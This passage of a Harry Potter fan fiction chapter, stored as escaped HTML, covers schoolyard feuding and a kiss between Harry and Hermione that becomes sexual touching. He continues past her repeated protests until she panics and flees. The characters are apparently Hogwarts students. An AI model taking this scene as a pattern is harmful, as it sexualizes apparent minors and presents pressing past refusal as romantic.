You\nshould get out now, spare yourself from further humiliation.&#8221; Ron smirked evilly.&nbsp; &#8220;Furthermore I think you should&#8212; &#8220; Ron was\ncut off as Hermione lifted her wand saying &#8220;Petrificus Totalus. &#8220; And he fell to the\nground stiff as a board.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione pocketed her wand and walked over to Ron, She stood\nover his face and bent down a bit, she opened her mouth and gathered a nice\nglob of spit within her mouth, she let it drop slowly from her mouth, landing\nright on his forehead.&nbsp; &#8220;Have a nice\nevening Weasel.&#8221; She said with a smirk and walked away from him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She didn&#8217;t feel too hungry anymore; Ron was enough to make\nanyone lose their appetite.&nbsp; Hermione\nknew she shouldn&#8217;t let Ron&#8217;s words get to her, but they did just the same.&nbsp; They were very hurtful, enough to bring tears\nto her eyes.&nbsp; But she would never show\nthe enemy weakness.&nbsp; Hermione decided to\nskip dinner; she made her way up to her room and closed the door behind her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">While entering the Great Hall, Harry saw Kelly ahead of\nhim.&nbsp; He moved quickly so that he was\nwalking next to her.&nbsp; She was reading\n&#8216;The Finer Things&#8217;. &#8220;How far have you gotten?&#8221; He asked pointing to her book.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Near the end.&#8221; She answered plainly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Did Violet already leave for Paris?&#8221; He asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes.&#8221; Kelly shook her head and then dropped the book\nlooking up at him in shock, &#8220;You&#8217;ve read this? The whole thing I mean.&#8221; She\nasked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I did.&#8221; He answered proudly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Really?&#8221; Her eyes lit up, and she gave him a small smile. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Really.&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Did he let her keep the baby?&#8221; Kelly asked politely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah, I wouldn&#8217;t want to spoil it for you.&nbsp; Why don&#8217;t you finish it and then we can discuss\nit sometime.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Kelly smiled, &#8220;Yeah, why not.&nbsp; I would like that.&nbsp; Not too many people around here read these\nbooks you know, it&#8217;s hard to find someone to discuss it with.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well as soon as you finish we&#8217;ll make a night of\ndiscussion.&#8221; Harry smiled, and she smiled back before heading off to her table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8216;YES!!&#8217;</i> Harry\nshouted in his mind.&nbsp; He continued\ntowards his table as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I see you finally got more then two words out of Kelly.&#8221;\nBlaise said as Harry sat down in his usual seat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yep, that book idea was brilliant.&#8221; Harry said with a\nsmile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Blaise sniggered.&nbsp;\n&#8220;Hermione told me you were actually reading it, and she mentioned that\nyou really liked it.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I&#8217;m so glad you find my reading a laughing matter.&#8221;\nHarry said as he piled food onto his plate. &nbsp;He listened carefully to everything Blaise\nsaid, over the past week he had been hearing things about him wanting to kiss\nHermione.&nbsp; He was losing his mind.&nbsp; He shook his head, trying to clear his\nthoughts.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Did you see how hard Hermione was trying to get Justin&#8217;s\nattention, poor girl on Monday she even knocked him down on purpose.&#8221;&nbsp; Blaise glanced down into her roast beef.&nbsp; &#8220;Sometimes I really feel for her, she&#8217;s\ntrying much too hard.&nbsp; In fact where is\nshe, she&#8217;s not over there at the Gryffindor table.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry shrugged, &#8220;I don&#8217;t know where she is.&nbsp; And that Finch-Fletchley is an idiot Blaise.&#8221;\nHarry said shaking his head, &#8220;Someone would have to actually hit him over the\nhead with the information for him to be able to see past his nose.&nbsp; Hermione is a great girl, he doesn&#8217;t know\nwhat he&#8217;s passing up.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Is that so Harry, how great of a girl is she?&#8221; Blaise\nasked, she listened as Harry went on explaining to her why Hermione was so\ngreat.&nbsp; Blaise hid her snigger; he didn&#8217;t\neven realize he was smiling as he talked about Hermione.&nbsp; &#8220;It sounds like you know her pretty well\nHarry, better then anyone.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well we have been friends awhile.&#8221; Harry answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It also sounds like you might have certain feelings for\nher.&#8221; Blaise said carefully.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s eyes narrowed in thought, &#8220;What kind of feelings,\nthe only feelings I have for Hermione are friendship.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry I don&#8217;t want to make you uncomfortable, but you know\nwhat feelings I&#8217;m talking about.&#8221; Blaise saw him look away from her, she was\ngoing to explain.&nbsp; &#8220;You don&#8217;t realize how\nprotective you are of her; you don&#8217;t let anyone hurt her. And if they do you\nturn right around and hurt them.&nbsp; She&#8217;s\nthe only one that can ease your troubles, I&#8217;ve seen it.&nbsp; And lately you haven&#8217;t been too keen in\nhelping her with Justin.&nbsp; Sure in the\nbeginning you were all for it, and even then I&#8217;m not sure you were.&nbsp; What happened, what changed?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Nothing, everything is the same.&#8221; Harry said in\nirritation.&nbsp; &#8220;I don&#8217;t care of\nFinch-Fletchley is the one she wants.&#8221; His voice was slightly bitter, but he\nstill didn&#8217;t catch it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry, have you heard yourself lately.&nbsp; You are extremely jealous, its all over you\nface, and I hear it in your voice.&#8221; Blaise sighed, &#8220;Well at least you don&#8217;t go\nand take your jealousy out on her, but you take it out on every other male\nwithin Hogwarts that looks at her twice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How can I be jealous? I have never been jealous a day in my\nlife.&nbsp; How am I supposed to know what\nthat feels like?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Blaise shook her head in disbelief, &#8220;Sometimes I really feel\nsorry for you, you are in the pit of denial.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Actually, denial is a river in Egypt.&#8221; He said not really\ntrying to be funny, that was the lamest joke he had ever heard.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry you need to get some new material, that&#8217;s joke is so\nold.&#8221; Blaise said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just to prove to you that I am not jealous, watch this.&#8221;\nHarry stood.&nbsp; He had something on his\nmind.&nbsp; He was going to tell that Justin\nFinch-Fletchley exactly what to do.&nbsp;\nHarry moved quickly towards the Hufflepuff table.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco looked up and saw Harry coming towards them and patted\nJustin hard on the shoulder.&nbsp; Justin\nlooked up at Draco. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What?&#8221; Justin was a bit irritated with Draco hitting him,\nhe saw Draco pointing ahead to Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I think he knows.&#8221; Draco said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Knows what?&#8221; Justin said confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You know.&#8221; Draco made a little eyebrow signal.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Justin looked up at Harry and his eyes grew wide as he heard\nHarry&#8217;s voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Finch-Fletchley we have to talk.&#8221; Harry said very\nseriously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Justin gulped down a breath of air and stood, &#8220;Sure.&#8221; Justin\nfelt so nervous as he followed after Harry.&nbsp;\nThe two boys left the Great Hall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">As soon as they were out of the Great Hall, Justin\nimmediately started rambling, &#8220;Look I&#8217;m sorry I didn&#8217;t mean to knock her down\nit was an accident, and then I didn&#8217;t even look at her long.&nbsp; Sure she was looking really pretty, but I\ndidn&#8217;t stare.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What are you talking about?&#8221; Harry stood there confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You&#8217;re not going to beat me up?&#8221; Justin asked carefully.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No, why would I do a thing like that?&#8221; Harry noticed Justin\nwas confused.&nbsp; &#8220;I did not bring you out\nhere to beat you up; I wanted to talk to you about Hermione.&#8221;&nbsp; He felt himself tense, but he stayed the\ncourse.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Okay.&#8221; Justin eyed him carefully.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Since the beginning of the school Hermione has been trying\nto get you to take notice of her, she really likes you.&#8221; Harry felt his stomach\ntighten again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;She&#8212;she does?&#8221; Justin looked towards the ground.&nbsp; &#8220;Why are you telling me this, is this some\nkind of joke?&#8221; His eyes narrowed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It&#8217;s no joke, why would you think that?&#8221; Harry crossed his\narms over his chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well she is your girlfriend, why would you be telling me\nthis unless it was a joke?&#8221;&nbsp; Justin\nlooked up at Harry.&nbsp; He hated being less\nthan six foot it was so annoying. But then again Harry was only six two but it\nstill felt horrible for him to be only five eleven.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What?&#8221; Harry shook his head, &#8220;You think Hermione is my\ngirlfriend?&#8221;&nbsp; For some reason that\nsounded rather nice, but he pushed that thought away.&nbsp; &#8220;What makes you think that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So she&#8217;s not your girlfriend?&nbsp; That means she&#8217;s available.&#8221; Justin&#8217;s face\nseemed to light up, &#8220;I&#8217;ve been going after Lavender because I thought Hermione\nalready belonged to someone.&nbsp; And it\nturns out she doesn&#8217;t.&nbsp; Oh wow.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry thought he looked ready to hover off the ground, &#8220;Whoa\nthere, don&#8217;t go and float away.&nbsp; Hermione\nthinks you don&#8217;t like her at all.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh I have always liked her. She looks even better now that\nshe pressed down that big bush of hair.&#8221;&nbsp;\nJustin admitted.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s eyes narrowed as his fists clenched at his sides, he\nwanted to punch him for that comment; he thought her hair was just fine\nbefore.&nbsp; But he restrained himself; it\nwouldn&#8217;t get on Hermione&#8217;s good side if he rearranged her lovers face.&nbsp; &#8220;Yeah, sure.&#8221; He said through clinched teeth.\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well thanks for setting me straight about you and Hermione,\nnow I don&#8217;t have to chase after Lavender anymore.&#8221; Justin started walking away,\n&#8220;Wow Hermione likes me.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">That was the last thing Harry heard before Justin went into\nthe Great Hall to finish dinner and he glared horridly at the doors.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;He&#8217;s\ntotally wrong for Hermione, what a superficial geek. She deserves so much\nbetter.&nbsp; Yeah, true but Justin is what\nshe wants.&nbsp; But still, there are way\nbetter wizards than him.&nbsp; What like\nyourself?&nbsp; No, I didn&#8217;t say that, no but\nyou&#8217;re thinking it.&nbsp; Ugh, no I&#8217;m\nnot.&nbsp; Stop plaguing me with these\nthoughts; I do not want Hermione no, no, no.&nbsp;\nThat&#8217;s right you don&#8217;t just want her, you love her.&nbsp; GET OUT OF MY HEAD!! I DO NOT LOVE HER, I DO\nNOT LOVE ANYONE!!!&nbsp; Then go tell her the\ngood news about Justin.&nbsp; Fine I will.&#8217;</i>&nbsp; Harry started down the hall and he came upon\nRon who was lying on the ground, he started laughing.&nbsp; He moved over towards Ron and looked down at\nhim, the red headed boy&#8217;s eyes were darting back and forth in nervousness.&nbsp; Harry noticed a nice big spit glob on his\nforehead.&nbsp; He continued laughing as he\nwalked from Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry searched everywhere for Hermione, the library.&nbsp; The classrooms.&nbsp; Finally he decided to check her room.&nbsp; Harry went right up the stairs and knocked on\nthe door.&nbsp; &#8220;Hermione are you in there?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just go away Harry.&#8221; Her voice was muffled through the\ndoor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry pressed his ear to the door, &#8220;Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I want to be alone, go away.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He could sense the cracking in her voice, she certainly had\nbeen crying.&nbsp; &#8220;Come on Hermione, I&#8217;m not\ngoing to go away.&nbsp; Is there a reason why\nWeasley is lying petrified in the hallway?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Because he&#8217;s an asshole.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione? I have some good news, will you let me in?&#8221; He\nwaited.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;The door is not locked, do what you want.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry opened the door and stepped inside and closed it after\nhim.&nbsp; He saw her sitting on her bed, &#8220;I\nhave great news for you, I was talking with&#8212;&#8221; He stopped in mid sentence seeing\nher in pain, she was still in tears.&nbsp; All\nthoughts of Justin leapt from his mind.&nbsp;\n&#8220;Oh, what&#8217;s wrong?&#8221; Harry stepped nearer to her deep concern etched in\nhis face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Nothing.&#8221; She looked down into her lap and rubbed her tears\naway.&nbsp; &#8220;Just the things that red headed\nasshole says.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry felt his temper boil; he was going to hurt Ron as soon\nas he&#8217;s done here.&nbsp; &#8220;I should have been\nwith you.&#8221; Harry said bitterly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh Harry, you can&#8217;t be with me all the time. It&#8217;s not your\nfault what Ron said or did.&#8221; Hermione sniffled.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t care, no one should hurt you.&nbsp; No one.&#8221; He reached out and pulled her to\nhim, holding her safely in his embrace.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know they are just words, but what if he&#8217;s right?&nbsp; No matter what I do I will always be just\nsome nobody with a bush for hair.&#8221; She sniffled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry pushed her back from him and looked her right in the\neye, &#8220;You are not a nobody, you are very amazing and caring young lady. You are\nnot just a bookworm, you are gentle and honest.&nbsp;\nThe most honest girl I know.&#8221; His hands gently cupped her cheeks, &#8220;And\nif they can&#8217;t see how truly amazing you really are, then they just aren&#8217;t worth\nit.&nbsp; They are not good enough for you.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She gave a soft smile. &#8220;Really?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He nodded and saw her smile, he felt his heart flutter with\nhow bright and beautiful her simple smile was.&nbsp;\nWithout really thinking he pressed his lips against her forehead,\nlingering longer than he should.&nbsp; He\npulled back a little; his eyes were closed as he moved down and pressed his\nlips against her cheek.&nbsp; He could still taste\nthe salt from her tears, but to him it was a taste as sweet as honey.&nbsp; Harry pulled back looking at Hermione, her\neyes were half closed.&nbsp; Without any\ncontrol he found himself nearing her mouth, he was watching her so carefully\nbut he couldn&#8217;t find the strength to pull or push her away.&nbsp; His mouth was a not even an inch from hers\nwhen she spoke.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What are you doing?&#8221; She whispered breathlessly, her heart\npounding hard inside her chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t know.&#8221; He answered just as quiet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Har&#8212;&#8221; She was cut off by his mouth taking hers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">His kiss was much different then the other night, this time\nhe did not hold anything back.&nbsp; Harry\nkissed with such a hungered need that he didn&#8217;t even let her have time to\ncloser her mouth in way that would tell him no.&nbsp;\nHe wanted this so much that nothing was going to ruin it.&nbsp; What was more surprising was that she was\nkissing him back just as vigorously.&nbsp; His\ntongue explored her mouth, running along the roof and to clash powerfully\nagainst hers, she let out a soft gasp, which in turn made him kiss her harder.&nbsp; One of his arms circled about her waist\npulling her tight against him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry ripped his mouth from hers, only to attack her neck\nwith his lips, Hermione gave out a moan of pleasure as she felt his tongue and\nlips glide down her neck, the hollow of her throat.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;God\nthis feels good!!&#8217;</i> Her mind shouted, <i style="mso-bidi-font-style:normal">&#8216;But\nit&#8217;s not right, he&#8217;s your friend he shouldn&#8217;t be doing this.&#8217;</i> &#8220;Harry you&#8212;&#8221;\nShe was cut off again with his mouth returning to hers where her thoughts of\nstopping him were pushed away.&nbsp; She\nwasn&#8217;t even aware of him pressing her down against he soft comforter, his mouth\ncontinued to take hers, but this time slowly, almost as if wanting to make the\nmoment last longer.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione groaned when she felt his hand travel down over her\nbreast, she gasped loudly at that, no one had ever touched her. Ever.&nbsp; It was a glorious feeling, one she didn&#8217;t\nwant to stop.&nbsp; Oh she wanted more. Her\narms went around him so tightly that he was pressed against her.&nbsp; Hermione&#8217;s mouth was nearly attacking his,\nharder and harder she kissed him, she did not want to let go.&nbsp; Hermione cried out when his hand went\nunderneath her sweater, his fingers resting on her tummy.&nbsp; That startled her a bit, she never knew him\nto be so bold, especially with her.&nbsp;\nHermione tried to pull away but he wasn&#8217;t letting her, her protests soon\nfaded as she fell into his kiss again.&nbsp;\nLost to the sensations, she felt his fingers rub lightly against the\nside of her breast, her heart lurched and she felt her stomach tighten.&nbsp; Harry kissed her harder, stronger and more\npersistent.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">A strange fear crept over her when she felt his other hand\ntravel lower on her tummy, heading towards the V between her thighs.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Oh my\nGod, this has to stop.&#8217;</i> Her mind shouted.&nbsp;\n<i style="mso-bidi-font-style:normal">&#8216;This is my friend, he&#8217;s not\nsuppose to be doing this.&#8217;</i>&nbsp; Hermione\npushed against him and pulled her mouth from his.&nbsp; &#8220;Harry you have to stop.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Once again he didn&#8217;t hear her words, but something in the\ntone of her voice made him stop as if waking up from a dream. He was looking\ndown at her.&nbsp; This time he wasn&#8217;t sorry,\nhe had wanted that.&nbsp; But from the looks\nof it she wanted it too.&nbsp; He wanted to\nkiss her again, and he tried to but she moved away at the last second.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No.&#8221; She said. &#8220;Uh, please let me up.&#8221; Hermione said\nwithout looking at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry then noticed he was practically on top of her, she\nfelt so good beneath him that he really didn&#8217;t want to move.&nbsp; Maybe he could persuade her to stay like this\njust a little longer.&nbsp; He lifted her chin\nwith gentle fingers so she could look him in the eye; his hand caressed her\ncheek tenderly, his emerald gaze staring intensely into her deep brown.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She saw an unfamiliar look in his eyes, something that could\nbe described as passion, but was it passion for her as herself or just because\nshe is the next female.&nbsp; Why did she even\ncare if he was looking at her like that?&nbsp;\nIt was affecting her so powerfully that she felt it hard to\nbreathe.&nbsp; She was weakening against\nwhatever power he had. She felt his breath on her cheek as his mouth was\nnearing hers again. Harry felt her tense.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just relax, I won&#8217;t hurt you.&#8221; He felt the strong urge to\nkiss her again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione did the exact opposite; she panicked. &#8220;Get of me!&#8221;\nShe practically yelled, and Harry totally jumped off of her and she rolled off\nthe bed landing on her feet.&nbsp; &#8220;You&#8212;you\ncan&#8217;t do this, not to me.&#8221; She said backing up slowly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry tried to reach out for her but she quickly jumped\nback, out of the way of his grasp.&nbsp;\n&#8220;Hermione I&#8212;&#8221; He stopped in mid sentence because she had turned not even\nwaiting for an explanation and she raced out the door. The last thing he heard\nwas the portrait slamming shut.&nbsp; She was\ngone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Sighing with the deepest regret Harry sat down on the edge\nof Hermione&#8217;s bed, what had he done, he rested his head in his hands squeezing\nhis eyes shut tightly.&nbsp; Harry couldn\'t\nbelieve it; he had just ruined their friendship.&nbsp; He blamed himself he couldn&#8217;t resist kissing\nher, or even thinking about her.&nbsp; All\nweek he&#8217;s had thoughts of nothing but her. Why was she affecting him like\nthis?&nbsp; Waves of emotions come over him,\nhe was confused. Maybe Blaise was right was he in love with Hermione.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;OH GOD\nNO!&#8217;</i> He did not want to be in love, not with anyone.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;NO, no\nI&#8217;m not in love.&nbsp; There is no such thing\nas love.&nbsp; Then explain what you are\nfeeling for Hermione.&nbsp; It&#8217;s not love.&nbsp; It can&#8217;t be.&nbsp;\nThen what is it smart guy?&nbsp; It&#8217;s\njust infatuation.&nbsp; Yeah well infatuation\nnever felt like this. I am not in love.&nbsp;\nAll right if you&#8217;re not in love stay away from her, that should cure you\nof your infatuation.&nbsp; Stay away from\nher?&nbsp; Yes, stay away from her and make\nher stay away from you.&nbsp; Stop your\nfriendship, you don&#8217;t need her anyway.&#8217;</i>&nbsp;\nHarry nodded to his thoughts.&nbsp; He\nwould get her to stay away; he couldn&#8217;t deal with these emotions, not now.&nbsp; Not ever.&nbsp;\nHarry made his decision; he was going to end his friendship with\nHermione. It was the only way to save himself.&nbsp;\nHermione was a big girl she can take care of herself, petrified Ron was\nclue enough.&nbsp; Tomorrow it would all be\nover.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">=====</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Well that&#8217;s it for chapter 5 stay tuned for chapter 6.&nbsp; Remember read and review.&nbsp; I&#8217;d like to say that I did not make up the\nbook The Finer Things, it&#8217;s a romance novel by my favorite author Brenda Joyce,\ncheck out her work. It&#8217;s excellent<i style="mso-bidi-font-style:normal">&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
